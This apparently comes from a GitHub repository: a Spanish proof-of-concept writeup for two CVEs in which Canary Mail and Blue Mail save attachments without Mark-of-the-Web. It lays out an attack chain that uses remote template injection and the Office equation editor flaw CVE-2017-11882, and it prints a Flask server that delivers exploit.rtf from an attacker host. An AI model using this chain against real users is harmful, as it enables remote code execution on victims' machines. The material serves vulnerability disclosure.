PoC para CVE-2025-65318 y CVE-2025-65319

• CVE-2025-65318 (BDU:2025-13740): Al utilizar la funcionalidad de interacción con archivos adjuntos, Canary Mail 5.1.40 y versiones anteriores guarda documentos en un sistema de archivos sin una etiqueta Mark-of-the-Web, lo que permite a los atacantes omitir los mecanismos de protección de archivos integrados tanto del sistema operativo Windows como del software de terceros.
• CVE-2025-65319 (BDU:2025-13739): Al utilizar la funcionalidad de interacción con archivos adjuntos, Blue Mail 1.140.103 y versiones anteriores guarda documentos en un sistema de archivos sin una etiqueta Mark-of-the-Web, lo que permite a los atacantes omitir los mecanismos de protección de archivos integrados tanto del sistema operativo Windows como del software de terceros.

Resumen

El problema principal no es que los usuarios abran archivos adjuntos maliciosos, sino que aplicaciones como Canary Mail o Blue Mail ofrecen una función cómoda pero insegura para guardarlos o abrirlos. Considero que esto es una vulnerabilidad de seguridad que expone a los usuarios a los atacantes.

CWE-693 - Fallo del mecanismo de protección

PoC

Para demostrar la apertura insegura de archivos adjuntos de Office Word mediante el cuadro de diálogo "Abrir con" o "Guardar como", se utilizó la vulnerabilidad CVE-2017-11882 en el editor de ecuaciones de Office Word 16 y versiones anteriores.

1. Crear un objeto RTF malicioso en el host del atacante que abra una calculadora en el host utilizando el script.
2. Desplegar un servidor para enviar un documento RTF malicioso mediante Inyección de Plantillas Remotas (Remote Template Injection).

from flask import Flask, send_file, request
import logging
from datetime import datetime

app = Flask(__name__)

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

@app.before_request
def log_request_info():
    logger.info(f'Request: {request.method} {request.url} from {request.remote_addr}')

@app.after_request
def log_response_info(response):
    logger.info(f'Response: Status {response.status_code} for {request.url}')
    return response

@app.route('/download')
def download_file():
    try:
        response = send_file('exploit.rtf', mimetype='application/msword', as_attachment=True)
        logger.info('File download successful')
        return response
    except FileNotFoundError:
        logger.error('File exploit.rtf not found')
        return 'File not found', 404

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

3. Crear un documento DOCX arbitrario y usar inyección de plantillas remotas ejecutando, por ejemplo, un script de PowerShell.
4. El atacante envía el documento DOCX malicioso resultante a la víctima.
5. La víctima abre el documento malicioso usando las funciones "Abrir con" o "Guardar como" en Canary Mail/Blue Mail.
6. Al abrir un documento malicioso, la víctima puede verse comprometida sin necesidad de pulsar ningún botón adicional.

Impacto

Un posible RCE para usuarios que utilizan versiones desactualizadas del software Microsoft Office Word 16 y anteriores.

Versiones Afectadas

• Canary Mail 5.1.40 y versiones anteriores
• Blue Mail 1.140.103 y versiones anteriores

Video PoC

CVE-2025-65318

https://github.com/user-attachments/assets/fc99d603-f56f-451b-a9f2-821422feef61

CVE-2025-65319

https://github.com/user-attachments/assets/68b638b9-e906-4c78-baae-84a369f807f3

Referencias

• https://bdu.fstec.ru/vul/2025-13739
• https://bdu.fstec.ru/vul/2025-13740

Aviso Legal

Este repositorio es solo para fines de investigación educativa y de seguridad defensiva.